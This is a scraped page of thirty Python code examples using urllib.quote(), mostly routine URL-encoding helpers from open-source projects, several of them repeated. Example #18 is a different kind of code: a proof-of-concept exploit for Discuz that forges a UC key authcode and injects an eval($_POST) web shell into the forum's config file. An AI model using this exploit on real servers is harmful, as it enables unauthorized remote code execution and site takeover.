Python urllib.quote() Examples
The following are 30
code examples of urllib.quote().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
urllib
, or try the search function
.
Example #1
Source File: HTTP.py From watchdog with Apache License 2.0 | 6 votes |
def _encode_params(self, params): if not params: return "" key_values = [] for k, v in params: k = urllib.quote(k, safe='%') if v is None: key_values.append(k) else: if isinstance(v, tuple) or isinstance(v, list): # for upload fields v = v[0] v = urllib.quote(v, safe='%') key_values.append("%s=%s" % (k, v)) return "&".join(key_values)
Example #2
Source File: Repository.py From gist-alfred with MIT License | 6 votes |
def get_contents(self, path, ref=github.GithubObject.NotSet): """ :calls: `GET /repos/:owner/:repo/contents/:path <http://developer.github.com/v3/repos/contents>`_ :param path: string :param ref: string :rtype: :class:`github.ContentFile.ContentFile` """ assert isinstance(path, (str, unicode)), path assert ref is github.GithubObject.NotSet or isinstance(ref, (str, unicode)), ref url_parameters = dict() if ref is not github.GithubObject.NotSet: url_parameters["ref"] = ref headers, data = self._requester.requestJsonAndCheck( "GET", self.url + "/contents/" + urllib.quote(path), parameters=url_parameters ) if isinstance(data, list): return [ github.ContentFile.ContentFile(self._requester, headers, item, completed=False) for item in data ] return github.ContentFile.ContentFile(self._requester, headers, data, completed=True)
Example #3
Source File: pdutils.py From Paradrop with Apache License 2.0 | 6 votes |
def urlEncodeMe(elem, safe=' '): """ Converts any values that would cause JSON parsing to fail into URL percent encoding equivalents. This function can be used for any valid JSON type including str, dict, list. Returns: Same element properly encoded. """ # What type am I? if isinstance(elem, dict): return {urlEncodeMe(key, safe): urlEncodeMe(value, safe) for key, value in six.iteritems(elem)} elif isinstance(elem, list): return [urlEncodeMe(element, safe) for element in elem] elif isinstance(elem, str): # Leave spaces alone, they are save to travel for JSON parsing return urllib.quote(elem, safe) else: return elem
Example #4
Source File: dev_appserver_login.py From browserscope with Apache License 2.0 | 6 votes |
def LoginRedirect(login_url, hostname, port, relative_url, outfile): """Writes a login redirection URL to a user. Args: login_url: Relative URL which should be used for handling user logins. hostname: Name of the host on which the webserver is running. port: Port on which the webserver is running. relative_url: String containing the URL accessed. outfile: File-like object to which the response should be written. """ dest_url = "http://%s:%s%s" % (hostname, port, relative_url) redirect_url = 'http://%s:%s%s?%s=%s' % (hostname, port, login_url, CONTINUE_PARAM, urllib.quote(dest_url)) outfile.write('Status: 302 Requires login\r\n') outfile.write('Location: %s\r\n\r\n' % redirect_url)
Example #5
Source File: login.py From browserscope with Apache License 2.0 | 6 votes |
def login_redirect(application_url, continue_url, start_response): """Writes a login redirection URL to a user. This redirects to login_url with a continue parameter to return to continue_url. The login_url should be on the canonical front-end server, regardless of the host:port the user connected to. Args: application_url: The URL of the dev appserver domain (e.g., 'http://localhost:8080'). continue_url: The URL to continue to after the user logs in. start_response: A WSGI start_response function. Returns: An (empty) iterable over strings containing the body of the HTTP response. """ if not application_url.endswith('/'): application_url += '/' redirect_url = '%s%s?%s=%s' % (application_url, LOGIN_URL_RELATIVE, CONTINUE_PARAM, urllib.quote(continue_url)) start_response('302 Requires login', [('Location', redirect_url)]) return []
Example #6
Source File: renderer.py From pulseaudio-dlna with GNU General Public License v3.0 | 6 votes |
def _encode_settings(self, settings, suffix=''): if pulseaudio_dlna.streamserver.StreamServer.HOST: server_ip = pulseaudio_dlna.streamserver.StreamServer.HOST else: server_ip = pulseaudio_dlna.utils.network.get_host_by_ip(self.ip) if not server_ip: raise NoSuitableHostFoundException(self.ip) server_port = pulseaudio_dlna.streamserver.StreamServer.PORT base_url = 'http://{ip}:{port}'.format( ip=server_ip, port=server_port, ) data_string = ','.join( ['{}="{}"'.format(k, v) for k, v in settings.iteritems()]) stream_name = '/{base_string}/{suffix}'.format( base_string=urllib.quote(base64.b64encode(data_string)), suffix=suffix, ) return urlparse.urljoin(base_url, stream_name)
Example #7
Source File: Repository.py From gist-alfred with MIT License | 6 votes |
def legacy_search_issues(self, state, keyword): """ :calls: `GET /legacy/issues/search/:owner/:repository/:state/:keyword <http://developer.github.com/v3/search/legacy>`_ :param state: "open" or "closed" :param keyword: string :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` """ assert state in ["open", "closed"], state assert isinstance(keyword, (str, unicode)), keyword headers, data = self._requester.requestJsonAndCheck( "GET", "/legacy/issues/search/" + self.owner.login + "/" + self.name + "/" + state + "/" + urllib.quote(keyword) ) return [ github.Issue.Issue(self._requester, headers, github.Legacy.convertIssue(element), completed=False) for element in data["issues"] ]
Example #8
Source File: net.py From misp42splunk with GNU Lesser General Public License v3.0 | 6 votes |
def validate_(self, value, context=None): url = self.valid_url(value) if not url: raise StopValidationError(self.messages['invalid_url']) if self.verify_exists: url_string = urlquote(urlunsplit(( url['scheme'], (url['host6'] or url['host4'] or url['hostn_enc']) + ':' + (url['port'] or ''), url['path'], url['query'], url['frag']) ).encode('utf-8'), safe=VALID_CHAR_STRING) try: urlopen(url_string) except URLError: raise StopValidationError(self.messages['not_found'])
Example #9
Source File: net.py From misp42splunk with GNU Lesser General Public License v3.0 | 6 votes |
def validate_(self, value, context=None): url = self.valid_url(value) if not url: raise StopValidationError(self.messages['invalid_url']) if self.verify_exists: url_string = urlquote(urlunsplit(( url['scheme'], (url['host6'] or url['host4'] or url['hostn_enc']) + ':' + (url['port'] or ''), url['path'], url['query'], url['frag']) ).encode('utf-8'), safe=VALID_CHAR_STRING) try: urlopen(url_string) except URLError: raise StopValidationError(self.messages['not_found'])
Example #10
Source File: diff_match_patch.py From tandem with Apache License 2.0 | 6 votes |
def diff_toDelta(self, diffs): """Crush the diff into an encoded string which describes the operations required to transform text1 into text2. E.g. =3\t-2\t+ing -> Keep 3 chars, delete 2 chars, insert 'ing'. Operations are tab-separated. Inserted text is escaped using %xx notation. Args: diffs: Array of diff tuples. Returns: Delta text. """ text = [] for (op, data) in diffs: if op == self.DIFF_INSERT: # High ascii will raise UnicodeDecodeError. Use Unicode instead. data = data.encode("utf-8") text.append("+" + parse.quote(data, "!~*'();/?:@&=+$,# ")) elif op == self.DIFF_DELETE: text.append("-%d" % len(data)) elif op == self.DIFF_EQUAL: text.append("=%d" % len(data)) return "\t".join(text)
Example #11
Source File: diff_match_patch.py From tandem with Apache License 2.0 | 6 votes |
def diff_toDelta(self, diffs): """Crush the diff into an encoded string which describes the operations required to transform text1 into text2. E.g. =3\t-2\t+ing -> Keep 3 chars, delete 2 chars, insert 'ing'. Operations are tab-separated. Inserted text is escaped using %xx notation. Args: diffs: Array of diff tuples. Returns: Delta text. """ text = [] for (op, data) in diffs: if op == self.DIFF_INSERT: # High ascii will raise UnicodeDecodeError. Use Unicode instead. data = data.encode("utf-8") text.append("+" + parse.quote(data, "!~*'();/?:@&=+$,# ")) elif op == self.DIFF_DELETE: text.append("-%d" % len(data)) elif op == self.DIFF_EQUAL: text.append("=%d" % len(data)) return "\t".join(text)
Example #12
Source File: svnwc.py From py with MIT License | 6 votes |
def url_from_path(path): fspath = path_to_fspath(path, False) from urllib import quote if ISWINDOWS: match = _reg_allow_disk.match(fspath) fspath = fspath.replace('\\', '/') if match.group(1): fspath = '/%s%s' % (match.group(1).replace('\\', '/'), quote(fspath[len(match.group(1)):])) else: fspath = quote(fspath) else: fspath = quote(fspath) if path.rev != -1: fspath = '%s@%s' % (fspath, path.rev) else: fspath = '%s@HEAD' % (fspath,) return 'file://%s' % (fspath,)
Example #13
Source File: HTTP.py From watchdog with Apache License 2.0 | 6 votes |
def _encode_params(self, params): if not params: return "" key_values = [] for k, v in params: k = urllib.quote(k, safe='%') if v is None: key_values.append(k) else: if isinstance(v, tuple) or isinstance(v, list): # for upload fields v = v[0] v = urllib.quote(v, safe='%') key_values.append("%s=%s" % (k, v)) return "&".join(key_values)
Example #14
Source File: request_handler.py From browserscope with Apache License 2.0 | 5 votes |
def handle_normal_request(self, environ): user_environ = self.get_user_environ(environ) script = environ.pop(http_runtime_constants.SCRIPT_HEADER) body = environ['wsgi.input'].read(int(environ.get('CONTENT_LENGTH', 0))) url = 'http://%s:%s%s?%s' % (user_environ['SERVER_NAME'], user_environ['SERVER_PORT'], urllib.quote(environ['PATH_INFO']), environ['QUERY_STRING']) return runtime.HandleRequest(user_environ, script, url, body, self.config.application_root, self._PYTHON_LIB_DIR)
Example #15
Source File: admin_request_handler.py From browserscope with Apache License 2.0 | 5 votes |
def _urlencode_filter(value): if isinstance(value, basestring): return urllib.quote(value) else: return urllib.urlencode(value)
Example #16
Source File: recipe.py From dataiku-contrib with Apache License 2.0 | 5 votes |
def build_query(in_row, apikey): url = in_row[url_field] return 'input=webpage/url:' + urllib.quote(safe='',s=url) + '&_apikey=' + apikey # input/webpage/url=
Example #17
Source File: recipe.py From dataiku-contrib with Apache License 2.0 | 5 votes |
def build_query(in_row, apikey): input_params = [ "input="+importio_param+":" + urllib.quote(safe='', s=in_row[col]) for importio_param, col in parameters_map.items() ] return "&".join(input_params) + '&_apikey=' + apikey
Example #18
Source File: DiscuzX1.5X2.5X3_uc_key_getshell.py From xunfeng_vul_poc with GNU General Public License v3.0 | 5 votes |
def check(ip, port, key): host = ip + ':'+port url = host + '/api/uc.php' ''' webshell ''' headers = {'Accept-Language': 'zh-cn', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer': url } tm = time.time() + 10 * 3600 tm = "time=%d&action=updateapps" % tm code = urllib.quote(get_authcode(tm, key)) url = url + "?code=" + code data1 = '''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[bangGood]);//</item> </root>''' try: req = urllib2.Request(url, data=data1, headers=headers) ret = urllib2.urlopen(req) except: pass data2 = '''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req = urllib2.Request(url, data=data2, headers=headers) ret = urllib2.urlopen(req) except: pass return u"webshell:/config/config_ucenter.php,password:bangGood"
Example #19
Source File: diff_match_patch.py From tandem with Apache License 2.0 | 5 votes |
def __str__(self): """Emmulate GNU diff's format. Header: @@ -382,8 +481,9 @@ Indicies are printed as 1-based, not 0-based. Returns: The GNU diff string. """ if self.length1 == 0: coords1 = str(self.start1) + ",0" elif self.length1 == 1: coords1 = str(self.start1 + 1) else: coords1 = str(self.start1 + 1) + "," + str(self.length1) if self.length2 == 0: coords2 = str(self.start2) + ",0" elif self.length2 == 1: coords2 = str(self.start2 + 1) else: coords2 = str(self.start2 + 1) + "," + str(self.length2) text = ["@@ -", coords1, " +", coords2, " @@\n"] # Escape the body of the patch with %xx notation. for (op, data) in self.diffs: if op == diff_match_patch.DIFF_INSERT: text.append("+") elif op == diff_match_patch.DIFF_DELETE: text.append("-") elif op == diff_match_patch.DIFF_EQUAL: text.append(" ") # High ascii will raise UnicodeDecodeError. Use Unicode instead. data = data.encode("utf-8") text.append(parse.quote(data, "!~*'();/?:@&=+$,# ") + "\n") return "".join(text)
Example #20
Source File: request_handler.py From browserscope with Apache License 2.0 | 5 votes |
def handle_interactive_request(self, environ): code = environ['wsgi.input'].read().replace('\r\n', '\n') user_environ = self.get_user_environ(environ) if 'HTTP_CONTENT_LENGTH' in user_environ: del user_environ['HTTP_CONTENT_LENGTH'] user_environ['REQUEST_METHOD'] = 'GET' url = 'http://%s:%s%s?%s' % (user_environ['SERVER_NAME'], user_environ['SERVER_PORT'], urllib.quote(environ['PATH_INFO']), environ['QUERY_STRING']) results_io = cStringIO.StringIO() old_sys_stdout = sys.stdout try: error = logservice.LogsBuffer() request_environment.current_request.Init(error, user_environ) url = urlparse.urlsplit(url) environ.update(runtime.CgiDictFromParsedUrl(url)) sys.stdout = results_io try: try: __import__('appengine_config', self._command_globals) except ImportError as e: if 'appengine_config' not in e.message: raise compiled_code = compile(code, '<string>', 'exec') exec(compiled_code, self._command_globals) except: traceback.print_exc(file=results_io) return {'error': 0, 'response_code': 200, 'headers': [('Content-Type', 'text/plain')], 'body': results_io.getvalue(), 'logs': error.parse_logs()} finally: request_environment.current_request.Clear() sys.stdout = old_sys_stdout
Example #21
Source File: fields.py From github-stats with MIT License | 5 votes |
def format(self, value): return urllib.quote(str(value))
Example #22
Source File: diff_match_patch.py From tandem with Apache License 2.0 | 5 votes |
def __str__(self): """Emmulate GNU diff's format. Header: @@ -382,8 +481,9 @@ Indicies are printed as 1-based, not 0-based. Returns: The GNU diff string. """ if self.length1 == 0: coords1 = str(self.start1) + ",0" elif self.length1 == 1: coords1 = str(self.start1 + 1) else: coords1 = str(self.start1 + 1) + "," + str(self.length1) if self.length2 == 0: coords2 = str(self.start2) + ",0" elif self.length2 == 1: coords2 = str(self.start2 + 1) else: coords2 = str(self.start2 + 1) + "," + str(self.length2) text = ["@@ -", coords1, " +", coords2, " @@\n"] # Escape the body of the patch with %xx notation. for (op, data) in self.diffs: if op == diff_match_patch.DIFF_INSERT: text.append("+") elif op == diff_match_patch.DIFF_DELETE: text.append("-") elif op == diff_match_patch.DIFF_EQUAL: text.append(" ") # High ascii will raise UnicodeDecodeError. Use Unicode instead. data = data.encode("utf-8") text.append(parse.quote(data, "!~*'();/?:@&=+$,# ") + "\n") return "".join(text)
Example #23
Source File: HTTP.py From watchdog with Apache License 2.0 | 5 votes |
def escape(self, url): "Change special characters in their html entities representation." return cgi.escape(url, quote=True).replace("'", "%27")
Example #24
Source File: HTTP.py From watchdog with Apache License 2.0 | 5 votes |
def encode(self, params_list): "Encode a sequence of two-element lists or dictionary into a URL query string." encoded_params = [] for k, v in params_list: # not safe: '&=#' with of course quotes... k = urllib.quote(k, safe='/%[]:;$()+,!?*') v = urllib.quote(v, safe='/%[]:;$()+,!?*') encoded_params.append("%s=%s" % (k, v)) return "&".join(encoded_params)
Example #25
Source File: HTTP.py From watchdog with Apache License 2.0 | 5 votes |
def quote(self, url): "Encode a string with hex representation (%XX) for special characters." return urllib.quote(url)
Example #26
Source File: bot.py From greetingslack with MIT License | 5 votes |
def parse_join(message): m = json.loads(message) if is_team_join(m) or is_debug_channel_join(m): user_id = m["user"]["id"] if is_team_join(m) else m["user"] logging.debug(m) x = requests.get("https://slack.com/api/im.open?token="+TOKEN+"&user="+user_id) x = x.json() x = x["channel"]["id"] logging.debug(x) data = { 'token': TOKEN, 'channel': x, 'text': MESSAGE, 'parse': 'full', 'as_user': 'true', } logging.debug(data) if (UNFURL.lower() == "false"): data = data.update({'unfurl_link': 'false'}) xx = requests.post("https://slack.com/api/chat.postMessage", data=data) logging.debug('\033[91m' + "HELLO SENT TO " + m["user"]["id"] + '\033[0m') if is_direct_message(m): logging.debug('DM RECEIVED') user_id = m["user"] user_message = m['text'] user_message = urllib.quote(user_message) # Need to get the display name from the user_id real_name = get_display_name(user_id) #logging.DEBUG('SENDING MESSAGE: '+user_message+' TO USER '+real_name) # Need to send a message to a channel requests.get("https://slack.com/api/chat.postMessage?token="+CHANNEL_TOKEN+"&channel="+RESPONSE_CHANNEL+"&text="+user_message+"&as_user=false&username="+real_name) #Connects to Slacks and initiates socket handshake
Example #27
Source File: HttpClient.py From QBotWebWrap with GNU General Public License v3.0 | 5 votes |
def Download(self, url, file): output = open(file, 'wb') output.write(urllib2.urlopen(url).read()) output.close() # def urlencode(self, data): # return urllib.quote(data)
Example #28
Source File: HTTP.py From watchdog with Apache License 2.0 | 5 votes |
def escape(self, url): "Change special characters in their html entities representation." return cgi.escape(url, quote=True).replace("'", "%27")
Example #29
Source File: HTTP.py From watchdog with Apache License 2.0 | 5 votes |
def encode(self, params_list): "Encode a sequence of two-element lists or dictionary into a URL query string." encoded_params = [] for k, v in params_list: # not safe: '&=#' with of course quotes... k = urllib.quote(k, safe='/%[]:;$()+,!?*') v = urllib.quote(v, safe='/%[]:;$()+,!?*') encoded_params.append("%s=%s" % (k, v)) return "&".join(encoded_params)
Example #30
Source File: HttpClient.py From QBotWebWrap with GNU General Public License v3.0 | 5 votes |
def Download(self, url, file): output = open(file, 'wb') output.write(urllib2.urlopen(url).read()) output.close() # def urlencode(self, data): # return urllib.quote(data)